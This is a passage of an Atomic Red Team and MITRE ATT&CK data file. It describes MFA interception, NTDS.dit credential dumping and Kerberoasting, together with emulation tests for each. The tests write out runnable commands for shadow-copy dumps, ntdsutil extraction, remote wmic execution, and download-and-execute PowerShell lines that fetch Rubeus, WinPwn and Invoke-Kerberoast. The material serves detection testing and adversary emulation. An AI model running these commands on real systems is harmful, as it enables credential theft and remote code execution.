- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Lambert, Microsoft Threat Intelligence Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:23.195Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1111",
- "url": "https://attack.mitre.org/techniques/T1111"
- },
- {
- "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf",
- "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
- "source_name": "Mandiant M Trends 2011"
- },
- {
- "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx",
- "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.",
- "source_name": "GCN RSA June 2011"
- },
- {
- "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
- "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
- "source_name": "Operation Emmental"
- }
- ],
- "modified": "2022-04-01T18:02:50.531Z",
- "name": "Multi-Factor Authentication Interception",
- "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Process: OS API Execution",
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."
- ]
- },
- "atomic_tests": []
- },
- "T1003.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
- "type": "attack-pattern",
- "created": "2020-02-11T18:42:35.572Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.003",
- "url": "https://attack.mitre.org/techniques/T1003/003"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Active_Directory",
- "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
- "source_name": "Wikipedia Active Directory"
- },
- {
- "url": "http://adsecurity.org/?p=1275",
- "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
- "source_name": "Metcalf 2015"
- }
- ],
- "modified": "2022-03-08T21:00:52.774Z",
- "name": "OS Credential Dumping: NTDS",
- "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit
of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Access to Domain Controller or backup"
- ],
- "identifier": "T1003.003"
- },
- "atomic_tests": [
- {
- "name": "Create Volume Shadow Copy with vssadmin",
- "auto_generated_guid": "dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "drive_letter": {
- "description": "Drive letter to source VSC (including colon)",
- "type": "string",
- "default": "C:"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a Domain Controller\n",
- "prereq_command": "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n",
- "get_prereq_command": "echo Sorry, Promoting this machine to a Domain Controller must be done manually\n"
- }
- ],
- "executor": {
- "command": "vssadmin.exe create shadow /for=#{drive_letter}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Copy NTDS.dit from Volume Shadow Copy",
- "auto_generated_guid": "c6237146-9ea6-4711-85c9-c56d263a6b03",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n\nThis test requires steps taken in the test \"Create Volume Shadow Copy with vssadmin\".\nA successful test also requires the export of the SYSTEM Registry hive.\nThis test must be executed on a Windows Domain Controller.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vsc_name": {
- "description": "Name of Volume Shadow Copy",
- "type": "string",
- "default": "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1"
- },
- "extract_path": {
- "description": "Path for extracted NTDS.dit",
- "type": "path",
- "default": "C:\\Windows\\Temp"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a Domain Controller\n",
- "prereq_command": "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n",
- "get_prereq_command": "echo Sorry, Promoting this machine to a Domain Controller must be done manually\n"
- },
- {
- "description": "Volume shadow copy must exist\n",
- "prereq_command": "if not exist #{vsc_name} (exit /b 1)\n",
- "get_prereq_command": "echo Run \"Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vssadmin'\" to fulfill this requirement\n"
- },
- {
- "description": "Extract path must exist\n",
- "prereq_command": "if not exist #{extract_path} (exit /b 1)\n",
- "get_prereq_command": "mkdir #{extract_path}\n"
- }
- ],
- "executor": {
- "command": "copy #{vsc_name}\\Windows\\NTDS\\NTDS.dit #{extract_path}\\ntds.dit\ncopy #{vsc_name}\\Windows\\System32\\config\\SYSTEM #{extract_path}\\VSC_SYSTEM_HIVE\nreg save HKLM\\SYSTEM #{extract_path}\\SYSTEM_HIVE\n",
- "cleanup_command": "del \"#{extract_path}\\ntds.dit\" >nul 2> nul\ndel \"#{extract_path}\\VSC_SYSTEM_HIVE\" >nul 2> nul\ndel \"#{extract_path}\\SYSTEM_HIVE\" >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Dump Active Directory Database with NTDSUtil",
- "auto_generated_guid": "2364e33d-ceab-4641-8468-bfb1d7cc2723",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability\nuses the \"IFM\" or \"Install From Media\" backup functionality that allows Active Directory restoration or installation of\nsubsequent domain controllers without the need of network-based replication.\n\nUpon successful completion, you will find a copy of the ntds.dit file in the C:\\Windows\\Temp directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_folder": {
- "description": "Path where resulting dump should be placed",
- "type": "path",
- "default": "C:\\Windows\\Temp\\ntds_T1003"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a Domain Controller\n",
- "prereq_command": "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n",
- "get_prereq_command": "echo Sorry, Promoting this machine to a Domain Controller must be done manually\n"
- }
- ],
- "executor": {
- "command": "mkdir #{output_folder}\nntdsutil \"ac i ntds\" \"ifm\" \"create full #{output_folder}\" q q\n",
- "cleanup_command": "rmdir /q /s #{output_folder} >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Volume Shadow Copy with WMI",
- "auto_generated_guid": "224f7de0-8f0a-4a94-b5d8-989b036c86da",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "drive_letter": {
- "description": "Drive letter to source VSC (including colon and backslash)",
- "type": "string",
- "default": "C:\\"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a Domain Controller\n",
- "prereq_command": "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ProductOptions /v ProductType | findstr LanmanNT\n",
- "get_prereq_command": "echo Sorry, Promoting this machine to a Domain Controller must be done manually\n"
- }
- ],
- "executor": {
- "command": "wmic shadowcopy call create Volume=#{drive_letter}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Volume Shadow Copy remotely with WMI",
- "auto_generated_guid": "d893459f-71f0-484d-9808-ec83b2b64226",
- "description": "This test is intended to be run from a remote workstation with domain admin context.\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "drive_letter": {
- "description": "Drive letter to source VSC (including colon and backslash)",
- "type": "string",
- "default": "C:\\"
- },
- "target_host": {
- "description": "IP Address / Hostname you want to target",
- "type": "string",
- "default": "localhost"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a reachable Domain Controller, and current context must be domain admin\n",
- "prereq_command": "wmic /node:\"#{target_host}\" shadowcopy list brief\n",
- "get_prereq_command": "echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)\n"
- }
- ],
- "executor": {
- "command": "wmic /node:\"#{target_host}\" shadowcopy call create Volume=#{drive_letter}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Volume Shadow Copy remotely (WMI) with esentutl",
- "auto_generated_guid": "21c7bf80-3e8b-40fa-8f9d-f5b194ff2865",
- "description": "This test is intended to be run from a remote workstation with domain admin context.\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "source_path": {
- "description": "File to shadow copy",
- "type": "string",
- "default": "c:\\windows\\ntds\\ntds.dit"
- },
- "target_path": {
- "description": "Target path of the result file",
- "type": "string",
- "default": "c:\\ntds.dit"
- },
- "target_host": {
- "description": "IP Address / Hostname you want to target",
- "type": "string",
- "default": "localhost"
- }
- },
- "dependencies": [
- {
- "description": "Target must be a reachable Domain Controller, and current context must be domain admin\n",
- "prereq_command": "wmic /node:\"#{target_host}\" shadowcopy list brief\n",
- "get_prereq_command": "echo Sorry, can't connect to target host, check: network, firewall or permissions (must be admin on target)\n"
- }
- ],
- "executor": {
- "command": "wmic /node:\"#{target_host}\" process call create \"cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}\"\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create Volume Shadow Copy with Powershell",
- "auto_generated_guid": "542bb97e-da53-436b-8e43-e0a7d31a6c24",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "drive_letter": {
- "description": "Drive letter to source VSC (including colon)",
- "type": "string",
- "default": "C:\\"
- }
- },
- "executor": {
- "command": "(gwmi -list win32_shadowcopy).Create('#{drive_letter}','ClientAccessible')\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Create Symlink to Volume Shadow Copy",
- "auto_generated_guid": "21748c28-2793-4284-9e07-d6d028b66702",
- "description": "This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "drive_letter": {
- "description": "Drive letter to source VSC (including colon)",
- "type": "string",
- "default": "C:"
- },
- "symlink_path": {
- "description": "symlink path",
- "type": "string",
- "default": "C:\\Temp\\vssstore"
- }
- },
- "executor": {
- "command": "vssadmin.exe create shadow /for=#{drive_letter}\nmklink /D #{symlink_path} \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1558.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
- "type": "attack-pattern",
- "created": "2020-02-11T18:43:38.588Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1558.003",
- "url": "https://attack.mitre.org/techniques/T1558/003"
- },
- {
- "external_id": "CAPEC-509",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/509.html"
- },
- {
- "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
- "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
- "source_name": "Empire InvokeKerberoast Oct 2016"
- },
- {
- "url": "https://adsecurity.org/?p=2293",
- "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
- "source_name": "AdSecurity Cracking Kerberos Dec 2015"
- },
- {
- "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
- "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
- "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms677949.aspx",
- "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
- "source_name": "Microsoft SPN"
- },
- {
- "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
- "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
- "source_name": "Microsoft SetSPN"
- },
- {
- "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
- "source_name": "SANS Attacking Kerberos Nov 2014",
- "url": "https://redsiege.com/kerberoast-slides"
- },
- {
- "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
- "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
- "source_name": "Harmj0y Kerberoast Nov 2016"
- }
- ],
- "modified": "2022-03-08T21:52:42.405Z",
- "name": "Steal or Forge Kerberos Tickets: Kerberoasting",
- "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request"
- ],
- "x_mitre_system_requirements": [
- "Valid domain account or the ability to sniff traffic within a domain"
- ],
- "identifier": "T1558.003"
- },
- "atomic_tests": [
- {
- "name": "Request for service tickets",
- "auto_generated_guid": "3f987809-3681-43c8-bcd8-b3ff3a28533a",
- "description": "This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1\nThe following are further sources and credits for this attack:\n[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)\n[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)\nwhen executed successfully , the test displays available services with their hashes. \nIf the testing domain doesn't have any service principal name configured, there is no output\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\nInvoke-Kerberoast | fl\n",
- "name": "powershell"
- }
- },
- {
- "name": "Rubeus kerberoast",
- "auto_generated_guid": "14625569-6def-4497-99ac-8e7817105b55",
- "description": "Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "local_folder": {
- "description": "Local path of Rubeus executable",
- "type": "path",
- "default": "$Env:temp"
- },
- "local_executable": {
- "description": "name of the rubeus executable",
- "type": "string",
- "default": "rubeus.exe"
- },
- "out_file": {
- "description": "file where command results are stored",
- "type": "string",
- "default": "rubeus_output.txt"
- },
- "rubeus_url": {
- "description": "URL of Rubeus executable",
- "type": "url",
- "default": "https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe"
- },
- "flags": {
- "description": "command flags you would like to run (optional and blank by default)",
- "type": "string",
- "default": null
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- },
- {
- "description": "Rubeus must exist\n",
- "prereq_command": "if(Test-Path -Path #{local_folder}\\#{local_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\\#{local_executable}\n"
- }
- ],
- "executor": {
- "command": "klist purge\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" kerberoast #{flags} /outfile:\"#{local_folder}\\#{out_file}\"\n",
- "cleanup_command": "Remove-Item #{local_folder}\\#{out_file} -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Extract all accounts in use as SPN using setspn",
- "auto_generated_guid": "e6f4affd-d826-4871-9a62-6c9004b8fe06",
- "description": "The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output all the SPNs for the related domain. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain_name": {
- "description": "The Domain Name to lookup against",
- "type": "string",
- "default": "%USERDNSDOMAIN%"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "setspn -T #{domain_name} -Q */*\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Request A Single Ticket via PowerShell",
- "auto_generated_guid": "988539bc-2ed7-4e62-aec6-7c5cf6680863",
- "description": "The following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the endpoint in question.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "Add-Type -AssemblyName System.IdentityModel\n$ComputerFQDN=$env:LogonServer.trimStart('\\') + \".\" + $env:UserDnsDomain\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"HTTP/$ComputerFQDN\" \n",
- "name": "powershell"
- }
- },
- {
- "name": "Request All Tickets via PowerShell",
- "auto_generated_guid": "902f4ed2-1aba-4133-90f2-cff6d299d6da",
- "description": "The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the domain in question.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain_name": {
- "description": "The Domain Name to lookup against",
- "type": "string",
- "default": "%USERDNSDOMAIN%"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- }
- ],
- "executor": {
- "command": "Add-Type -AssemblyName System.IdentityModel \nsetspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } \n",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Kerberoasting",
- "auto_generated_guid": "78d10e20-c874-45f2-a9df-6fea0120ec27",
- "description": "Kerberoasting technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nKerberoasting -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Kerberoasting Using Rubeus",
- "auto_generated_guid": "29094950-2c96-4cbd-b5e4-f7c65079678f",
- "description": "PowerSharpPack - Kerberoasting Using Rubeus technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"kerberoast /format:hashcat /nowrap\"",
- "name": "powershell"
- }
- }
- ]
- },
- "T1003.006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ExtraHop",
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
- "type": "attack-pattern",
- "created": "2020-02-11T18:45:34.293Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.006",
- "url": "https://attack.mitre.org/techniques/T1003/006"
- },
- {
- "url": "https://msdn.microsoft.com/library/cc228086.aspx",
- "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
- "source_name": "Microsoft DRSR Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/dd207691.aspx",
- "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
- "source_name": "Microsoft GetNCCChanges"
- },
- {
- "url": "https://wiki.samba.org/index.php/DRSUAPI",
- "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
- "source_name": "Samba DRSUAPI"
- },
- {
- "url": "https://source.winehq.org/WineAPI/samlib.html",
- "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
- "source_name": "Wine API samlib.dll"
- },
- {
- "url": "https://adsecurity.org/?p=1729",
- "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
- "source_name": "ADSecurity Mimikatz DCSync"
- },
- {
- "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
- "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.",
- "source_name": "Harmj0y Mimikatz and DCSync"
- },
- {
- "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
- "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
- "source_name": "InsiderThreat ChangeNTLM July 2017"
- },
- {
- "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
